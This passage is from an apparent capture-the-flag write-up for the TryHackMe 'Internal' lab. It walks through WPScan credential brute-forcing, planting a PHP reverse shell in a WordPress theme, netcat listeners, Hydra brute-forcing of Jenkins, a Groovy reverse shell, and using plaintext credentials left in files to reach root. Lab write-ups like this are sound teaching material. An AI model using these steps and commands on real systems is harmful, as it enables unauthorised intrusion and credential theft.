     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
    
    [+] WordPress readme found: http://10.10.4.254/blog/readme.html
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 100%
    
    [+] The external WP-Cron seems to be enabled: http://10.10.4.254/blog/wp-cron.php
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 60%
     | References:
     |  - https://www.iplocation.net/defend-wordpress-from-ddos
     |  - https://github.com/wpscanteam/wpscan/issues/1299
    
    [+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
     | Found By: Emoji Settings (Passive Detection)
     |  - http://10.10.4.254/blog/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.4.2'
     | Confirmed By: Meta Generator (Passive Detection)
     |  - http://10.10.4.254/blog/, Match: 'WordPress 5.4.2'
    
    [i] The main theme could not be detected.
    
    [+] Enumerating All Plugins (via Passive Methods)
    
    [i] No plugins Found.
    
    [+] Enumerating Config Backups (via Passive and Aggressive Methods)
     Checking Config Backups - Time: 00:00:13 <=============================================================================================================> (137 / 137) 100.00% Time: 00:00:13
    
    [i] No Config Backups Found.
    
    [+] Performing password attack on Xmlrpc against 1 user/s
    [SUCCESS] - admin / my2boys                                                                                                                                                                 
    Trying admin / 111111 Time: 00:00:01 <=================================                                                                                    > (10 / 34) 29.41%  ETA: ??:??:??
    
    [!] Valid Combinations Found:
     | Username: admin, Password: my2boys
    
    [!] No WPScan API Token given, as a result vulnerability data has not been output.
    [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
    
    [+] Finished: Mon Mar 21 08:54:10 2022
    [+] Requests Done: 177
    [+] Cached Requests: 4
    [+] Data Sent: 48.436 KB
    [+] Data Received: 201.522 KB
    [+] Memory used: 171.504 MB
    [+] Elapsed time: 00:00:36
                                                                                                                                                                                                
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    
    
    

    Username: admin, Password: my2boys



    TryHackMe Penetration Testing Challenge



    after login (http://internal.thm/blog/wp-admin/) is successful with admin:my2boys and we now have the ability to modify the templates PHP source code. This will be convenient to write a reverse shell.


    In the web interface, go to “Appearance > Theme Editor > 404.php” and replace the PHP code with a PHP reverse shell (e.g. http://pentestmonkey.net/tools/web-shells/php-reverse-shell).


    But before that we have to edit it to add our attacker machine IP address and port address.

    We are doing this because, after this .php file execution it gives us a reverse shell on specified IP address and port.



    TryHackMe Penetration Testing Challenge



    and after than open a listener ( nc -lvnp 4444) and call the template (http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php).

     

    -l (Listen mode, for inbound connects)
    -v (verbose)
    -n (Suppress name/port resolutions)
    -p (Specify local port for remote connects)

     



    TryHackMe Penetration Testing Challenge



    TryHackMe Penetration Testing Challenge




    TryHackMe Penetration Testing Challenge



    Now we have a reverse shell on our machine (kali linux). Let’s move around and find out who’s the user of this machine.

    There are one directory available but we don't have any access...



    TryHackMe Penetration Testing Challenge


    but there is an interesting file in the /opt directory.



    TryHackMe Penetration Testing Challenge



    NOTE- We do not have any reason to use these command but, yes if you want a SHELL on a machine through which you can easily access everything, then you absolutely can.

    we have used this for clear command because it was not already available in its environment.

     

     

    $ whoami
    www-data
    $ #www.hackingtruth.org
    $ python -c 'import pty; pty.spawn("/bin/bash");'
    www-data@internal:/$ export TERM=xterm
    export TERM=xterm
    www-data@internal:/$ ls
    ls
    bin    dev   initrd.img      lib64       mnt   root  snap      sys  var
    boot   etc   initrd.img.old  lost+found  opt   run   srv       tmp  vmlinuz
    cdrom  home  lib             media       proc  sbin  swap.img  usr  vmlinuz.old
    www-data@internal:/$ cd /opt
    cd /opt
    www-data@internal:/opt$ ls
    ls
    containerd  wp-save.txt
    www-data@internal:/opt$ cat wp-save.txt
    cat wp-save.txt
    Bill,
    
    Aubreanna needed these credentials for something later.  Let her know you have them and where they are.
    
    aubreanna:bubb13guM!@#123
    www-data@internal:/opt$ 
    
    
    

     


    python -c 'import pty; pty.spawn("/bin/bash");'

    export TERM=xterm


    Even MySQL credentials can be found by inspecting the wp-config.php file – unfortunately these did not seem to server any purpose although it’s always best to check for these:

    cd /var/www/html/wordpress

    ls

    cat wp-config.php



    TryHackMe Penetration Testing Challenge

     

     

    Logging in as the aubreanna user via SSH:


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ ssh aubreanna@internal.thm      
    The authenticity of host 'internal.thm (10.10.93.158)' can't be established.
    ED25519 key fingerprint is SHA256:seRYczfyDrkweytt6CJT/aBCJZMIcvlYYrTgoGxeHs4.
    This key is not known by any other names
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added 'internal.thm' (ED25519) to the list of known hosts.
    aubreanna@internal.thm's password: 
    Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/advantage
    
      System information as of Mon Mar 21 14:11:08 UTC 2022
    
      System load:  0.0               Processes:              114
      Usage of /:   63.7% of 8.79GB   Users logged in:        0
      Memory usage: 34%               IP address for eth0:    10.10.93.158
      Swap usage:   0%                IP address for docker0: 172.17.0.1
    
      => There is 1 zombie process.
    
    
     * Canonical Livepatch is available for installation.
       - Reduce system reboots and improve kernel security. Activate at:
         https://ubuntu.com/livepatch
    
    0 packages can be updated.
    0 updates are security updates.
    
    
    Last login: Mon Aug  3 19:56:19 2020 from 10.6.2.56
    aubreanna@internal:~$ whoami
    aubreanna                                                                                      
    aubreanna@internal:~$ 
                                                                                                             
                                        
    
    
    

    User flag


    The user flag is in aubreanna’s home folder:


    cd /home/aubreanna
    ls
    cat user.txt


    TryHackMe Penetration Testing Challenge



    Root.txt Flag


    When enumerating the home directory, found information about Jenkins, which appears to be running on port 8080:



    TryHackMe Penetration Testing Challenge



    Since port 8080 can only by accessed locally, setting up port forwarding in order to redirect traffic to localhost on port 1234 to the target machine on port 8080:





    Jenkins is now accessible from the Kali host:

    Default credentials did not seem to work, capturing the login request in order to construct a Hydra command to try and brute-force credentials:


    TryHackMe Penetration Testing Challenge



    Using hydra to brute-force the password, using the following flags:

    • -f to stop the attack when a valid password is found
    • -l to specify the username for the brute-force attack
    • -P to specify the wordlist to use for the bruteforce attack
    • -s to specify the port to connect to
    • the service and target to brute force
    • http-post-form to specify the URL including all of the parameters used in the request, such as the username, password, and the failed authentication message




    sudo hydra -f -l admin -P /home/hackerboy/Documents/rockyou.txt -s 1234  127.0.0.1 http-form-post  "/j_aceom=%2F&Submit=Sign+in:Invalid username or password"

    OR


    sudo hydra -f -l admin -P /home/hackerboy/Documents/rockyou.txt -s 1234  127.0.0.1 http-form-post  "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^=%2F&Submit=Sign+in:Invalid username or password"



    TryHackMe Penetration Testing Challenge




    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ sudo hydra -f -l admin -P /home/hackerboy/Documents/rockyou.txt -s 1234  127.0.0.1 http-form-post  "/j_aceom=%2F&Submit=Sign+in:Invalid username or password"  
    Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organthese *** ignore laws and ethics anyway).
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-03-21 21:25:51
    [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per t
    [DATA] attacking http-post-form://127.0.0.1:1234/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&fr
    [1234][http-post-form] host: 127.0.0.1   login: admin   password: spongebob
    [STATUS] attack finished for 127.0.0.1 (valid pair found)
    1 of 1 target successfully completed, 1 valid password found
    Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-03-21 21:26:41
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ #www.kumaratuljaiswal.in    #www.hackingtruth.in
    
    
    
    


    Hydra was able to brute-force the admin user’s password. Logging into Jenkins:


    TryHackMe Penetration Testing Challenge


    Jenkins comes with a “Script Console” administrative tool, which allows authenticated users to run scripts using Apache Groovy, a Java-syntax-compatible object-oriented programming language for the Java platform. This can be leveraged to execute Bash commands as well as reverse shells.

    Clicking on “Manage Jenkins–>Script Console:


    The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:

        -l to listen for incoming connections
        -v for verbose output
        -n to skip the DNS lookup
        -p to specify the port to listen on


     

     

    TryHackMe Penetration Testing Challenge


    Used the reverse shell also from this handy blog post, replacing IP address and port:



    TryHackMe Penetration Testing Challenge


    A callback was received, granting access as the jenkins user within a Docker container:

    When enumerating common files and folders in the web server, the /opt directory appears to contain a note with the root password:


    cd /
    clear
    TERM environment variable not set.
    export TERM=xterm
    clear
    whoami
    jenkins
    pwd
    /
    ls -la
    total 84
    drwxr-xr-x   1 root root 4096 Aug  3  2020 .
    drwxr-xr-x   1 root root 4096 Aug  3  2020 ..
    -rwxr-xr-x   1 root root    0 Aug  3  2020 .dockerenv
    drwxr-xr-x   1 root root 4096 Aug  3  2020 bin
    drwxr-xr-x   2 root root 4096 Sep  8  2019 boot
    drwxr-xr-x   5 root root  340 Mar 21 12:54 dev
    drwxr-xr-x   1 root root 4096 Aug  3  2020 etc
    drwxr-xr-x   2 root root 4096 Sep  8  2019 home
    drwxr-xr-x   1 root root 4096 Jan 30  2020 lib
    drwxr-xr-x   2 root root 4096 Jan 30  2020 lib64
    drwxr-xr-x   2 root root 4096 Jan 30  2020 media
    drwxr-xr-x   2 root root 4096 Jan 30  2020 mnt
    drwxr-xr-x   1 root root 4096 Aug  3  2020 opt
    dr-xr-xr-x 130 root root    0 Mar 21 12:54 proc
    drwx------   1 root root 4096 Aug  3  2020 root
    drwxr-xr-x   3 root root 4096 Jan 30  2020 run
    drwxr-xr-x   1 root root 4096 Jul 28  2020 sbin
    drwxr-xr-x   2 root root 4096 Jan 30  2020 srv
    dr-xr-xr-x  13 root root    0 Mar 21 13:56 sys
    drwxrwxrwt   1 root root 4096 Mar 21 12:54 tmp
    drwxr-xr-x   1 root root 4096 Jan 30  2020 usr
    drwxr-xr-x   1 root root 4096 Jul 28  2020 var
    cd /var
    ls -la
    total 64
    drwxr-xr-x  1 root    root    4096 Jul 28  2020 .
    drwxr-xr-x  1 root    root    4096 Aug  3  2020 ..
    drwxr-xr-x  2 root    root    4096 Sep  8  2019 backups
    drwxr-xr-x  1 root    root    4096 Feb  2  2020 cache
    drwxr-xr-x 15 jenkins jenkins 4096 Mar 21 12:55 jenkins_home
    drwxr-xr-x  1 root    root    4096 Feb  2  2020 lib
    drwxrwsr-x  2 root    staff   4096 Sep  8  2019 local
    lrwxrwxrwx  1 root    root       9 Jan 30  2020 lock -> /run/lock
    drwxr-xr-x  1 root    root    4096 Feb  2  2020 log
    drwxrwsr-x  2 root    mail    4096 Jan 30  2020 mail
    drwxr-xr-x  2 root    root    4096 Jan 30  2020 opt
    lrwxrwxrwx  1 root    root       4 Jan 30  2020 run -> /run
    drwxr-xr-x  2 root    root    4096 Jan 30  2020 spool
    drwxrwxrwt  2 root    root    4096 Sep  8  2019 tmp
    cd /opt
    ls -la
    total 12
    drwxr-xr-x 1 root root 4096 Aug  3  2020 .
    drwxr-xr-x 1 root root 4096 Aug  3  2020 ..
    -rw-r--r-- 1 root root  204 Aug  3  2020 note.txt
    cat note.txt
    Aubreanna,
    
    Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you 
    need access to the root user account.
    
    root:tr0ub13guM!@#123
    
    
    
    


    Root flag


    Back to our initial SSH connection as aubreanna:

    OR


    Authenticating as root through SSH with the credentials found:
    (ssh root@internal.thm)


    TryHackMe Penetration Testing Challenge


    www-data@internal:/$ whoami
    whoami
    www-data
    www-data@internal:/$ cd /var/backups
    cd /var/backups
    www-data@internal:/var/backups$ su root
    su root
    Password: tr0ub13guM!@#123
    
    root@internal:/var/backups# 
    
    


    root@internal:/var/backups# ls
    ls
    alternatives.tar.0 dpkg.diversions.0 group.bak shadow.bak
    apt.extended_states.0 dpkg.statoverride.0 gshadow.bak
    apt.extended_states.1.gz dpkg.status.0 passwd.bak
    root@internal:/var/backups#

    root@internal:/var/backups# cd /root/
    cd /root/
    root@internal:~# ls
    ls
    root.txt snap
    root@internal:~# cat root.txt
    cat root.txt
    THM{d0ck3r_d3str0y3r}
    root@internal:~#





    Congratulations we got it :-)




    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.





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